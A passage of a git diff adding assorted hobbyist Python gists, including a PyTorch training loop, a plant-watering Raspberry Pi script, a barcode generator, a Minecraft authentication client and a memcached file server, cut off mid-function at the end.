+    print('Val accuracy: ', val_acc)
+    print()
+
+
+def run_epoch(model, loss_fn, loader, optimizer, dtype):
+  """
+  Train the model for one epoch.
+  """
+  # Set the model to training mode
+  model.train()
+  for x, y in loader:
+    # The DataLoader produces Torch Tensors, so we need to cast them to the
+    # correct datatype and wrap them in Variables.
+    #
+    # Note that the labels should be a torch.LongTensor on CPU and a
+    # torch.cuda.LongTensor on GPU; to accomplish this we first cast to dtype
+    # (either torch.FloatTensor or torch.cuda.FloatTensor) and then cast to
+    # long; this ensures that y has the correct type in both cases.
+    x_var = Variable(x.type(dtype))
+    y_var = Variable(y.type(dtype).long())
+
+    # Run the model forward to compute scores and loss.
+    scores = model(x_var)
+    loss = loss_fn(scores, y_var)
+
+    # Run the model backward and take a step using the optimizer.
+    optimizer.zero_grad()
+    loss.backward()
+    optimizer.step()
+
+
+def check_accuracy(model, loader, dtype):
+  """
+  Check the accuracy of the model.
+  """
+  # Set the model to eval mode
+  model.eval()
+  num_correct, num_samples = 0, 0
+  for x, y in loader:
+    # Cast the image data to the correct type and wrap it in a Variable. At
+    # test-time when we do not need to compute gradients, marking the Variable
+    # as volatile can reduce memory usage and slightly improve speed.
+    x_var = Variable(x.type(dtype), volatile=True)
+
+    # Run the model forward, and compare the argmax score with the ground-truth
+    # category.
+    scores = model(x_var)
+    _, preds = scores.data.cpu().max(1)
+    num_correct += (preds == y).sum()
+    num_samples += x.size(0)
+
+  # Return the fraction of datapoints that were correctly classified.
+  acc = float(num_correct) / num_samples
+  return acc
+
+
+if __name__ == '__main__':
+  args = parser.parse_args()
+  main(args)
diff --git a/hard-gists/6e56d947ceaacdebb7fd3a88ed89cb6c/._snippet.py b/hard-gists/6e56d947ceaacdebb7fd3a88ed89cb6c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6e56d947ceaacdebb7fd3a88ed89cb6c/._snippet.py differ
diff --git a/hard-gists/6e56d947ceaacdebb7fd3a88ed89cb6c/snippet.py b/hard-gists/6e56d947ceaacdebb7fd3a88ed89cb6c/snippet.py
new file mode 100644
index 00000000..2bd8dfae
--- /dev/null
+++ b/hard-gists/6e56d947ceaacdebb7fd3a88ed89cb6c/snippet.py
@@ -0,0 +1,11 @@
+from draftsman import *
+
+def f(x):
+    return x
+
+drawman_scale(25)
+drawman_setka()
+for x in range(-5,6):
+    to_point(x,f(x))
+    pen_down()
+pen_up()
diff --git a/hard-gists/6f490f3a0e082ae6592a630bd7abe588/._snippet.py b/hard-gists/6f490f3a0e082ae6592a630bd7abe588/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6f490f3a0e082ae6592a630bd7abe588/._snippet.py differ
diff --git a/hard-gists/6f490f3a0e082ae6592a630bd7abe588/snippet.py b/hard-gists/6f490f3a0e082ae6592a630bd7abe588/snippet.py
new file mode 100644
index 00000000..8f90f3e8
--- /dev/null
+++ b/hard-gists/6f490f3a0e082ae6592a630bd7abe588/snippet.py
@@ -0,0 +1,51 @@
+# External module imp
+import RPi.GPIO as GPIO
+import datetime
+import time
+
+init = False
+
+GPIO.setmode(GPIO.BOARD) # Broadcom pin-numbering scheme
+
+def get_last_watered():
+    try:
+        f = open("last_watered.txt", "r")
+        return f.readline()
+    except:
+        return "NEVER!"
+      
+def get_status(pin = 8):
+    GPIO.setup(pin, GPIO.IN) 
+    return GPIO.input(pin)
+
+def init_output(pin):
+    GPIO.setup(pin, GPIO.OUT)
+    GPIO.output(pin, GPIO.LOW)
+    GPIO.output(pin, GPIO.HIGH)
+    
+def auto_water(delay = 5, pump_pin = 7, water_sensor_pin = 8):
+    consecutive_water_count = 0
+    init_output(pump_pin)
+    print("Here we go! Press CTRL+C to exit")
+    try:
+        while 1 and consecutive_water_count < 10:
+            time.sleep(delay)
+            wet = get_status(pin = water_sensor_pin) == 0
+            if not wet:
+                if consecutive_water_count < 5:
+                    pump_on(pump_pin, 1)
+                consecutive_water_count += 1
+            else:
+                consecutive_water_count = 0
+    except KeyboardInterrupt: # If CTRL+C is pressed, exit cleanly:
+        GPIO.cleanup() # cleanup all GPI
+
+def pump_on(pump_pin = 7, delay = 1):
+    init_output(pump_pin)
+    f = open("last_watered.txt", "w")
+    f.write("Last watered {}".format(datetime.datetime.now()))
+    f.close()
+    GPIO.output(pump_pin, GPIO.LOW)
+    time.sleep(1)
+    GPIO.output(pump_pin, GPIO.HIGH)
+    
diff --git a/hard-gists/6ffa8fb7756c16798b2a/._snippet.py b/hard-gists/6ffa8fb7756c16798b2a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6ffa8fb7756c16798b2a/._snippet.py differ
diff --git a/hard-gists/6ffa8fb7756c16798b2a/snippet.py b/hard-gists/6ffa8fb7756c16798b2a/snippet.py
new file mode 100644
index 00000000..c180ba20
--- /dev/null
+++ b/hard-gists/6ffa8fb7756c16798b2a/snippet.py
@@ -0,0 +1,138 @@
+# -*- coding: utf-8 -*-
+from gensim.models import word2vec
+import MeCab
+import random
+model = word2vec.Word2Vec.load("oogiri_gensim.model")
+tagger = MeCab.Tagger("-Ochasen")
+
+def word_and_kind_parse(line):
+    line_word = line.split("\t")
+    if len(line_word) < 2:
+        return None
+    w, _, _, k, _, _ = line_word
+    k = k.split(u"-")[0] 
+    if k == u"助詞":
+        return None
+    return w, k
+
+
+def question(text):
+    result = tagger.parse(text).decode('utf-8').split('\n')
+    result = map(lambda x: x[0],
+                 filter(lambda x: x,
+                        [word_and_kind_parse(l) for l in result]))
+    s(result)
+
+
+def s(words, negative=[], recur=True):
+    try:
+        word_and_kind = WordManager.parse(words, negative)
+        boke(word_and_kind)
+        if recur:
+            for word in [w for w, _ in word_and_kind]:
+                s([w], [], False)
+    except KeyError:
+        pass
+
+
+class WordManager(object):
+
+    def __init__(self, words):
+        self.set_noum(words)
+        self.set_v(words)
+        self.joshi = [u"の", u"は", u"が", u"を"]
+        random.shuffle(self.joshi)
+
+    def set_noum(self, words):
+        self.noum = filter(lambda x: x[1] == u"名詞", words)
+        random.shuffle(self.noum)
+        
+    def set_v(self, words):
+        self.v = filter(lambda x: x[1] == u"動詞", words)
+        random.shuffle(self.v)
+        
+    @classmethod
+    def parse(self, words, negative=[]):
+        most_similar = [w for w in model.most_similar(
+            positive=words, negative=negative)]
+        return filter(
+            lambda x: x,
+            [word_kind(m) for m, _ in most_similar])
+        
+    def choice_noum(self):
+        try:
+            noum = self.noum.pop()[0]
+            while (noum in choiced_word):     
+                noum = self.noum.pop()[0]
+            choiced_word.append(noum)
+            return noum
+        except IndexError:
+            random.shuffle(choiced_word)    
+            self.set_noum(self.parse([choiced_word[0]]))
+            return self.choice_noum()
+
+    def choice_v(self):
+        try:
+            v = self.v.pop()[0]
+            while (v in choiced_word):     
+                v = self.v.pop()[0]
+            choiced_word.append(v)
+            return v
+        except IndexError:
+            seed = choiced_word + self.noum
+            random.shuffle(seed)    
+            self.set_v(self.parse([seed[0][0]]))
+            return self.choice_v()
+            
+    def choice_joshi(self):
+        return self.joshi.pop()
+
+
+choiced_word = []
+def boke(words):
+    boke_pattern = [
+        [u"名詞"],
+        [u"名詞", u"名詞"],
+        [u"名詞", u"が", u"名詞"],
+        [u"名詞", u"が", u"動詞"],
+        [u"名詞", u"が", u"名詞", u"な", u"名詞"],
+        [u"名詞", u"が", u"名詞", u"助詞", u"動詞"],
+    ]
+    random.shuffle(boke_pattern)
+    w = WordManager(words)
+    boke_str = u""
+    for word_kind in boke_pattern.pop():
+        if word_kind == u"名詞":
+            boke_str += w.choice_noum()
+        elif word_kind == u"助詞":
+            boke_str += w.choice_joshi()
+        elif word_kind == u"動詞":
+            boke_str += w.choice_v()
+        else:
+            boke_str += word_kind
+    print boke_str
+
+    
+def word_kind(m):
+    try:
+        w, k = mecab_result(m.encode('utf-8'))
+        kind = k.split(u"-")[0]
+        return w, kind
+    except TypeError:
+        return None
+
+
+def mecab_result(word):
+    try:
+        result = tagger.parse(word).decode('utf-8')
+        w, _, _, k, _, _ = result.split(u"\t")
+        return w, k
+    except ValueError:
+        pass
+
+
+def resave():
+    sentence = word2vec.Text8Corpus("oogiri_wakati.txt")
+    result_model = word2vec.Word2Vec(sentence)
+    result_model.save("oogiri_gensim.model")
+    model = result_model
diff --git a/hard-gists/7002279/._snippet.py b/hard-gists/7002279/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7002279/._snippet.py differ
diff --git a/hard-gists/7002279/snippet.py b/hard-gists/7002279/snippet.py
new file mode 100644
index 00000000..5ff95d1e
--- /dev/null
+++ b/hard-gists/7002279/snippet.py
@@ -0,0 +1,83 @@
+#!/usr/bin/python
+#coding: utf-8
+'''
+
+requirements: 
+    GitPython
+    MySQLdb
+    TofApi.py
+'''
+
+from git import *
+import time
+import MySQLdb as mdb
+from TofApi import TofApi
+
+GIT_PATH = '/path/to/yyy.git'
+URL_TEMPLATE = 'http://xxx/yyy/commit/%s (%s)'
+NOW = time.time()
+# 604800 = 7 * 24 * 60 * 60
+TO_TIME_POINT = NOW - 604800
+
+commit_tracked = []
+commits_by_author = {}
+
+
+def pack_git_commit():
+    repo = Repo(GIT_PATH)
+    commit = repo.heads.main.commit
+
+    def track_commit(commit_ref):
+        commit_time = commit_ref.committed_date
+        if commit_ref not in commit_tracked and commit_time >= TO_TIME_POINT:
+            commit_tracked.append(commit_ref)
+            commit_author = commit_ref.author.email
+            commit_message = (commit_ref.message).strip('\n')
+            if commits_by_author.has_key(commit_author):
+                commits_by_author[commit_author].append((commit_ref.hexsha, commit_time, commit_message))
+            else:
+                commits_by_author[commit_author] = [(commit_ref.hexsha, commit_time, commit_message)]
+            if len(commit_ref.parents) > 0:
+                for parent_commit in commit_ref.parents:
+                    track_commit(parent_commit)
+
+    track_commit(commit)
+
+
+def sort_by_commit_time():
+    for key, value in commits_by_author.iteritems():
+        commits_by_author[key] = sorted(value, key=lambda item: item[1])
+
+
+def email_commits():
+    api = TofApi()
+    sender = 'xxx@xxx.com'
+
+    def shuffle_authors():
+        import random
+
+        authors = commits_by_author.keys()
+        random.shuffle(authors)
+        return authors
+    emails = shuffle_authors()
+    emails.append(emails[0])
+    emails_count = len(emails)
+    for index in xrange(emails_count - 1):
+        receiver = emails[index]
+        title = '请评审%s本周提交的代码' % emails[index+1]
+        task_list = []
+        for commit in commits_by_author[emails[index+1]]:
+            task_list.append(URL_TEMPLATE % (commit[0], commit[2]))
+        content = '本周你的代码评审任务为：\n%s\n请尽快处理，谢谢！' % ('\n'.join(task_list)).encode('utf-8')
+        print sender, receiver, title, content
+        api.send_mail(sender, receiver, title, content)
+
+
+def main():
+    pack_git_commit()
+    sort_by_commit_time()
+    email_commits()
+
+
+if __name__ == '__main__':
+    main()
\ No newline at end of file
diff --git a/hard-gists/7002396/._snippet.py b/hard-gists/7002396/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7002396/._snippet.py differ
diff --git a/hard-gists/7002396/snippet.py b/hard-gists/7002396/snippet.py
new file mode 100644
index 00000000..6636259e
--- /dev/null
+++ b/hard-gists/7002396/snippet.py
@@ -0,0 +1,68 @@
+from django import forms
+from django.core import validators
+from django.core.exceptions import ValidationError
+
+class MinLengthValidator(validators.MinLengthValidator):
+    message = 'Ensure this value has at least %(limit_value)d elements (it has %(show_value)d).'
+
+class MaxLengthValidator(validators.MaxLengthValidator):
+    message = 'Ensure this value has at most %(limit_value)d elements (it has %(show_value)d).'
+
+
+class CommaSeparatedCharField(forms.Field):
+    def __init__(self, dedup=True, max_length=None, min_length=None, *args, **kwargs):
+        self.dedup, self.max_length, self.min_length = dedup, max_length, min_length
+        super(CommaSeparatedCharField, self).__init__(*args, **kwargs)
+        if min_length is not None:
+            self.validators.append(MinLengthValidator(min_length))
+        if max_length is not None:
+            self.validators.append(MaxLengthValidator(max_length))
+
+    def to_python(self, value):
+        if value in validators.EMPTY_VALUES:
+            return []
+
+        value = [item.strip() for item in value.split(',') if item.strip()]
+        if self.dedup:
+            value = list(set(value))
+
+        return value
+
+    def clean(self, value):
+        value = self.to_python(value)
+        self.validate(value)
+        self.run_validators(value)
+        return value
+
+
+class CommaSeparatedIntegerField(forms.Field):
+    default_error_messages = {
+        'invalid': 'Enter comma separated numbers only.',
+    }
+
+    def __init__(self, dedup=True, max_length=None, min_length=None, *args, **kwargs):
+        self.dedup, self.max_length, self.min_length = dedup, max_length, min_length
+        super(CommaSeparatedIntegerField, self).__init__(*args, **kwargs)
+        if min_length is not None:
+            self.validators.append(MinLengthValidator(min_length))
+        if max_length is not None:
+            self.validators.append(MaxLengthValidator(max_length))
+
+    def to_python(self, value):
+        if value in validators.EMPTY_VALUES:
+            return []
+
+        try:
+            value = [int(item.strip()) for item in value.split(',') if item.strip()]
+            if self.dedup:
+                value = list(set(value))
+        except (ValueError, TypeError):
+            raise ValidationError(self.error_messages['invalid'])
+
+        return value
+
+    def clean(self, value):
+        value = self.to_python(value)
+        self.validate(value)
+        self.run_validators(value)
+        return value
\ No newline at end of file
diff --git a/hard-gists/7003083/._snippet.py b/hard-gists/7003083/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7003083/._snippet.py differ
diff --git a/hard-gists/7003083/snippet.py b/hard-gists/7003083/snippet.py
new file mode 100644
index 00000000..d8aafd5f
--- /dev/null
+++ b/hard-gists/7003083/snippet.py
@@ -0,0 +1,70 @@
+"""
+Implementation of the beta-geometric/NBD (BG/NBD) model from '"Counting Your Customers" the Easy Way: An Alternative to
+the Pareto/NBD Model' (Fader, Hardie and Lee 2005) http://brucehardie.com/papers/018/fader_et_al_mksc_05.pdf and
+accompanying technical note http://www.brucehardie.com/notes/004/
+
+Apache 2 License
+"""
+from math import log, exp
+
+import numpy as np
+from scipy.optimize import minimize
+
+from scipy.special import gammaln
+
+__author__ = 'JD Maturen'
+
+
+def log_likelihood_individual(r, alpha, a, b, x, tx, t):
+    """Log of the likelihood function for a given randomly chosen individual with purchase history = (x, tx, t) where
+    x is the number of transactions in time period (0, t] and tx (0 < tx <= t) is the time of the last transaction"""
+    ln_a1 = gammaln(r + x) - gammaln(r) + r * log(alpha)
+    ln_a2 = gammaln(a + b) + gammaln(b + x) - gammaln(b) - gammaln(a + b + x)
+    ln_a3 = -(r + x) * log(alpha + t)
+    a4 = 0
+    if x > 0:
+        a4 = exp(log(a) - log(b + x - 1) - (r + x) * log(alpha + tx))
+    return ln_a1 + ln_a2 + log(exp(ln_a3) + a4)
+
+
+def log_likelihood(r, alpha, a, b, customers):
+    """Sum of the individual log likelihoods"""
+    # can't put constraints on n-m minimizer so fake them here
+    if r <= 0 or alpha <= 0 or a <= 0 or b <= 0:
+        return -np.inf
+    return sum([log_likelihood_individual(r, alpha, a, b, x, tx, t) for x, tx, t in customers])
+
+
+def maximize(customers):
+    negative_ll = lambda params: -log_likelihood(*params, customers=customers)
+    params0 = np.array([1., 1., 1., 1.])
+    res = minimize(negative_ll, params0, method='nelder-mead', options={'xtol': 1e-8})
+    return res
+
+
+def fit(customers):
+    res = maximize(customers)
+    if res.status != 0:
+        raise Exception(res.message)
+    return res.x
+
+
+def cdnow_customer_data(fname):
+    data = []
+    with open(fname) as f:
+        f.readline()
+        for line in f:
+            data.append(map(float, line.strip().split(',')[1:4]))
+    return data
+
+
+def main():
+    data = cdnow_customer_data('cdnow_customers.csv')
+    r, alpha, a, b = fit(data)
+    # fit according to the note
+    print r, alpha, a, b
+    print np.allclose([r, alpha, a, b], [.243, 4.414, .793, 2.426], 1e-2)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/700554/._snippet.py b/hard-gists/700554/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/700554/._snippet.py differ
diff --git a/hard-gists/700554/snippet.py b/hard-gists/700554/snippet.py
new file mode 100644
index 00000000..3e7b7957
--- /dev/null
+++ b/hard-gists/700554/snippet.py
@@ -0,0 +1,76 @@
+#!/usr/bin/python3
+# -*- coding: utf-8 -*-
+#naruto-link-fetcher.py
+#      
+#Copyright 2010 Vasudev Kamath <kamathvasudev@gmail.com>
+#      
+#This program is free software; you can redistribute it and/or modify
+#it under the terms of the GNU  General Public License as published by
+#the Free Software Foundation; either version 3 of the License, or
+#(at your option) any later version.
+#     
+#This program is distributed in the hope that it will be useful,
+#but WITHOUT ANY WARRANTY; without even the implied warranty of
+#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#GNU General Public License for more details.
+#      
+#You should have received a copy of the GNU General Public License
+#along with this program; if not, write to the Free Software
+#Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+#MA 02110-1301, USA.
+#
+
+
+
+import re
+import sys
+from urllib.request import Request,urlopen
+from urllib.error import URLError,HTTPError
+
+
+#<iframe.*?src=[\'|\"]http:\/\/.*?url=(http:\/\/.*?\.mp4)[\'|\"].*?></iframe>
+# String of interest
+# <iframe src="http://95.211.72.7/~animeshi/book.php?config=http://www.animeshippuuden.com/xml.php?url=http://video.ak.fbcdn.net/cfs-ak-snc4/77328/62/149261478453338_1801.mp4" frameborder="0" scrolling="no" width="480" height="412"></iframe>
+# Out of this i need only http://video.ak.fbcdn.net/cfs-ak-snc4/77328/62/149261478453338_1801.mp4
+
+
+
+url_string = "http://www.animeshippuuden.com/naruto-shippuuden-episode-{}"
+pattern = re.compile('<iframe.*?src=[\'|\"]http:\/\/.*?url=(http:\/\/.*?\.mp4)[\'|\"].*?></iframe>')
+pattern2 = re.compile('<embed.*?src=[\'|\"]http:\/\/.*?video_src=(http:\/\/.*?\.mp4).*?[\'|\"].*?></embed>')
+
+def get_episode_links(episode):
+    global url_string
+    try:
+        url_string = url_string.format(episode)
+        print(("Connecting to {}".format(url_string)))
+        request = Request(url=url_string)
+        request.add_header("User-Agent","Naruto Link Crawler")
+        response = str(urlopen(request).read())
+        urls = pattern2.findall(response)
+        # if len(urls) == 0:
+        #     urls = pattern2.findall(response)
+        return urls
+    
+    except HTTPError as e:
+        print(("I got Error code {}".format(e.code)))
+    except URLError as u:
+        print(("Something went wrong {}".format(u.reason)))
+    except:
+        print("Unknown Error")
+
+if __name__ == "__main__":
+    episode = eval(input("Enter episode number: "))
+    if not isinstance(episode,int):
+        print("Please enter a valid episode number")
+        sys.exit(1)
+
+    urls = get_episode_links(episode)
+    if urls:
+        print("Got Following URLs")
+        i = 1
+        for url in urls:
+            print(("{}. {}".format(i,url)))
+            i += 1
+
+    print("\nPlease choose and download from above links. Enjoy naruto episode :)")
diff --git a/hard-gists/701416/._snippet.py b/hard-gists/701416/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/701416/._snippet.py differ
diff --git a/hard-gists/701416/snippet.py b/hard-gists/701416/snippet.py
new file mode 100644
index 00000000..4b6bbbb1
--- /dev/null
+++ b/hard-gists/701416/snippet.py
@@ -0,0 +1,211 @@
+#!/usr/bin/env python
+# Copyright (c) 2010 Erik Karulf (erik@karulf.com)
+# 
+# Permission to use, copy, modify, and/or distribute this software for any
+# purpose with or without fee is hereby granted, provided that the above
+# copyright notice and this permission notice appear in all copies.
+# 
+# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE
+
+import Image
+import ImageDraw
+
+# Copied from http://en.wikipedia.org/wiki/Code_128
+# Value Weights 128A    128B    128C
+CODE128_CHART = """
+0       212222  space   space   00
+1       222122  !       !       01
+2       222221  "       "       02
+3       121223  #       #       03
+4       121322  $       $       04
+5       131222  %       %       05
+6       122213  &       &       06
+7       122312  '       '       07
+8       132212  (       (       08
+9       221213  )       )       09
+10      221312  *       *       10
+11      231212  +       +       11
+12      112232  ,       ,       12
+13      122132  -       -       13
+14      122231  .       .       14
+15      113222  /       /       15
+16      123122  0       0       16
+17      123221  1       1       17
+18      223211  2       2       18
+19      221132  3       3       19
+20      221231  4       4       20
+21      213212  5       5       21
+22      223112  6       6       22
+23      312131  7       7       23
+24      311222  8       8       24
+25      321122  9       9       25
+26      321221  :       :       26
+27      312212  ;       ;       27
+28      322112  <       <       28
+29      322211  =       =       29
+30      212123  >       >       30
+31      212321  ?       ?       31
+32      232121  @       @       32
+33      111323  A       A       33
+34      131123  B       B       34
+35      131321  C       C       35
+36      112313  D       D       36
+37      132113  E       E       37
+38      132311  F       F       38
+39      211313  G       G       39
+40      231113  H       H       40
+41      231311  I       I       41
+42      112133  J       J       42
+43      112331  K       K       43
+44      132131  L       L       44
+45      113123  M       M       45
+46      113321  N       N       46
+47      133121  O       O       47
+48      313121  P       P       48
+49      211331  Q       Q       49
+50      231131  R       R       50
+51      213113  S       S       51
+52      213311  T       T       52
+53      213131  U       U       53
+54      311123  V       V       54
+55      311321  W       W       55
+56      331121  X       X       56
+57      312113  Y       Y       57
+58      312311  Z       Z       58
+59      332111  [       [       59
+60      314111  \       \       60
+61      221411  ]       ]       61
+62      431111  ^       ^       62
+63      111224  _       _       63
+64      111422  NUL     `       64
+65      121124  SOH     a       65
+66      121421  STX     b       66
+67      141122  ETX     c       67
+68      141221  EOT     d       68
+69      112214  ENQ     e       69
+70      112412  ACK     f       70
+71      122114  BEL     g       71
+72      122411  BS      h       72
+73      142112  HT      i       73
+74      142211  LF      j       74
+75      241211  VT      k       75
+76      221114  FF      l       76
+77      413111  CR      m       77
+78      241112  SO      n       78
+79      134111  SI      o       79
+80      111242  DLE     p       80
+81      121142  DC1     q       81
+82      121241  DC2     r       82
+83      114212  DC3     s       83
+84      124112  DC4     t       84
+85      124211  NAK     u       85
+86      411212  SYN     v       86
+87      421112  ETB     w       87
+88      421211  CAN     x       88
+89      212141  EM      y       89
+90      214121  SUB     z       90
+91      412121  ESC     {       91
+92      111143  FS      |       92
+93      111341  GS      }       93
+94      131141  RS      ~       94
+95      114113  US      DEL     95
+96      114311  FNC3    FNC3    96
+97      411113  FNC2    FNC2    97
+98      411311  ShiftB  ShiftA  98
+99      113141  CodeC   CodeC   99
+100     114131  CodeB   FNC4    CodeB
+101     311141  FNC4    CodeA   CodeA
+102     411131  FNC1    FNC1    FNC1
+103     211412  StartA  StartA  StartA
+104     211214  StartB  StartB  StartB
+105     211232  StartC  StartC  StartC
+106     2331112 Stop    Stop    Stop
+""".split()
+
+VALUES   = [int(value) for value in CODE128_CHART[0::5]]
+WEIGHTS  = dict(zip(VALUES, CODE128_CHART[1::5]))
+CODE128A = dict(zip(CODE128_CHART[2::5], VALUES))
+CODE128B = dict(zip(CODE128_CHART[3::5], VALUES))
+CODE128C = dict(zip(CODE128_CHART[4::5], VALUES))
+
+for charset in (CODE128A, CODE128B):
+    charset[' '] = charset.pop('space')
+
+def code128_format(data):
+    """
+    Generate an optimal barcode from ASCII text
+    """
+    text     = str(data)
+    pos      = 0
+    length   = len(text)
+    
+    # Start Code
+    if text[:2].isdigit() and length > 1:
+        charset = CODE128C
+        codes   = [charset['StartC']]
+    else:
+        charset = CODE128B
+        codes   = [charset['StartB']]
+    
+    # Data
+    while pos < length:
+        if charset is CODE128C:
+            if text[pos:pos+2].isdigit() and length - pos > 1:
+                # Encode Code C two characters at a time
+                codes.append(int(text[pos:pos+2]))
+                pos += 2
+            else:
+                # Switch to Code B
+                codes.append(charset['CodeB'])
+                charset = CODE128B
+        elif text[pos:pos+4].isdigit() and length - pos >= 4:
+            # Switch to Code C
+            codes.append(charset['CodeC'])
+            charset = CODE128C
+        else:
+            # Encode Code B one character at a time
+            codes.append(charset[text[pos]])
+            pos += 1
+    
+    # Checksum
+    checksum = 0
+    for weight, code in enumerate(codes):
+        checksum += max(weight, 1) * code
+    codes.append(checksum % 103)
+    
+    # Stop Code
+    codes.append(charset['Stop'])
+    return codes
+
+def code128_image(data, height=100, thickness=3, quiet_zone=True):
+    if not data[-1] == CODE128B['Stop']:
+        data = code128_format(data)
+    
+    barcode_widths = []
+    for code in data:
+        for weight in WEIGHTS[code]:
+            barcode_widths.append(int(weight) * thickness)
+    width = sum(barcode_widths)
+    x = 0
+
+    if quiet_zone:
+        width += 20 * thickness
+        x = 10 * thickness
+
+    # Monochrome Image
+    img  = Image.new('1', (width, height), 1)
+    draw = ImageDraw.Draw(img)
+    draw_bar = True
+    for width in barcode_widths:
+        if draw_bar:
+            draw.rectangle(((x, 0), (x + width - 1, height)), fill=0)
+        draw_bar = not draw_bar
+        x += width
+
+    return img
diff --git a/hard-gists/7015554/._snippet.py b/hard-gists/7015554/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7015554/._snippet.py differ
diff --git a/hard-gists/7015554/snippet.py b/hard-gists/7015554/snippet.py
new file mode 100644
index 00000000..141e06fb
--- /dev/null
+++ b/hard-gists/7015554/snippet.py
@@ -0,0 +1,100 @@
+import urllib.request as request
+from urllib.error import HTTPError
+import json
+
+class YggAuth:
+	def __init__(self, 
+		client_token=None, 
+		access_token=None, 
+		username=None, 
+		password=None
+	):
+		self.username = username
+		self.password = password
+		self.client_token = client_token
+
+		self.access_token = None #validate needs access_token to exist
+		self.access_token = (
+			None if self.validate(access_token) else access_token
+		)
+
+	def _gen_req(self, endpoint, payload):
+		url = 'https://authserver.mojang.com' + endpoint
+		data = json.dumps(payload).encode('utf-8')
+		headers = {'Content-Type': 'application/json'}
+		return request.Request(url, data, headers, method='POST')
+
+	def _gen_rep(self, req):
+		try:
+			rep = request.urlopen(req)
+		except HTTPError as reperr:
+			rep = reperr
+		data = rep.read().decode('utf-8')
+		return json.loads(data) if data else None
+
+	def _ygg_req(self, endpoint, payload):
+		return self._gen_rep(self._gen_req(endpoint, payload))
+
+	#Generate an access token using a username and password
+	#(Any existing client token is invalidated if not provided)
+	#Returns response dict on success, otherwise error dict
+	def authenticate(self, username=None, password=None, client_token=None):
+		endpoint = '/authenticate'
+		payload = {
+			'agent': {
+				'name': 'Minecraft',
+				'version': 1,
+			},
+		}
+		if username:
+			self.username = username
+		payload['username'] = self.username
+		if password:
+			self.password = password
+		payload['password'] = self.password
+		payload['clientToken'] = client_token if client_token else self.client_token
+		rep = self._ygg_req(endpoint, payload)
+		if 'error' not in rep:
+			self.access_token = rep['accessToken']
+			self.client_token = rep['clientToken']
+		return rep
+
+	#Generate an access token with a client/access token pair
+	#(The used access token is invalidated)
+	#Returns response dict on success, otherwise error dict
+	def refresh(self, client_token=None, access_token=None):
+		endpoint = '/refresh'
+		payload = {}
+		payload['accessToken'] = access_token if access_token else self.access_token
+		payload['clientToken'] = client_token if client_token else self.client_token
+		rep = self._ygg_req(endpoint, payload)
+		if 'error' not in rep:
+			self.access_token = rep['accessToken']
+			self.client_token = rep['clientToken']
+		return rep
+
+	#Invalidate access tokens with a username and password
+	#Returns None on success, otherwise error dict
+	def signout(self, username=None, password=None):
+		endpoint = '/signout'
+		payload = {}
+		payload['username'] = username if username else self.username
+		payload['password'] = password if password else self.password
+		return self._ygg_req(endpoint, payload)
+
+	#Invalidate access tokens with a client/access token pair
+	#Returns None on success, otherwise error dict
+	def invalidate(self, client_token=None, access_token=None):
+		endpoint = '/invalidate'
+		payload = {}
+		payload['accessToken'] = access_token if access_token else self.access_token
+		payload['clientToken'] = client_token if client_token else self.client_token
+		return self._ygg_req(endpoint, payload)
+
+	#Check if an access token is valid
+	#Returns None on success (ie valid access token), otherwise error dict
+	def validate(self, access_token=None):
+		endpoint = '/validate'
+		payload = {}
+		payload['accessToken'] = access_token if access_token else self.access_token
+		return self._ygg_req(endpoint, payload)
\ No newline at end of file
diff --git a/hard-gists/701904/._snippet.py b/hard-gists/701904/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/701904/._snippet.py differ
diff --git a/hard-gists/701904/snippet.py b/hard-gists/701904/snippet.py
new file mode 100644
index 00000000..b9e6e8d6
--- /dev/null
+++ b/hard-gists/701904/snippet.py
@@ -0,0 +1,73 @@
+"""
+Simple backend for nginx memcached module
+Written by Wojtek 'suda' Siudzinski <admin@suda.pl>
+Gist: https://gist.github.com/701904
+
+Nginx config:
+
+    location /static {
+            add_header              X-Origin                Memcached;
+            expires                 modified +48h;
+            set                     $memcached_key  $uri;
+            memcached_pass          127.0.0.1:11211;
+            error_page 404 = @static;
+    }
+    
+    location @static {
+            add_header              X-Origin                Disk;
+            proxy_set_header        X-Memcached-Path        /var/www/example.com;
+            proxy_set_header        X-Memcached-Key         $uri;
+            proxy_set_header        X-Memcached-Expires     86400;
+            proxy_pass              http://localhost:9876;
+    }
+
+Check "X-Origin" header to see where your static files came from
+"""
+
+import memcache, urllib, os
+import SocketServer, SimpleHTTPServer
+from BaseHTTPServer import HTTPServer
+from SocketServer import ThreadingMixIn
+
+PORT = 9876
+DEBUG = False
+MEMCACHED = ['127.0.0.1:11211']
+
+class Proxy(SimpleHTTPServer.SimpleHTTPRequestHandler):
+    def do_GET(self):
+        if None != self.headers['X-Memcached-Path']:
+            path = self.headers['X-Memcached-Path']+self.path
+            
+            if os.path.isfile(path):
+                try:
+                    self.copyfile(urllib.urlopen(path), self.wfile)
+                except IOError:
+                    if DEBUG:
+                        print "Error: cannot write stream"
+                f = open(path, 'rb')
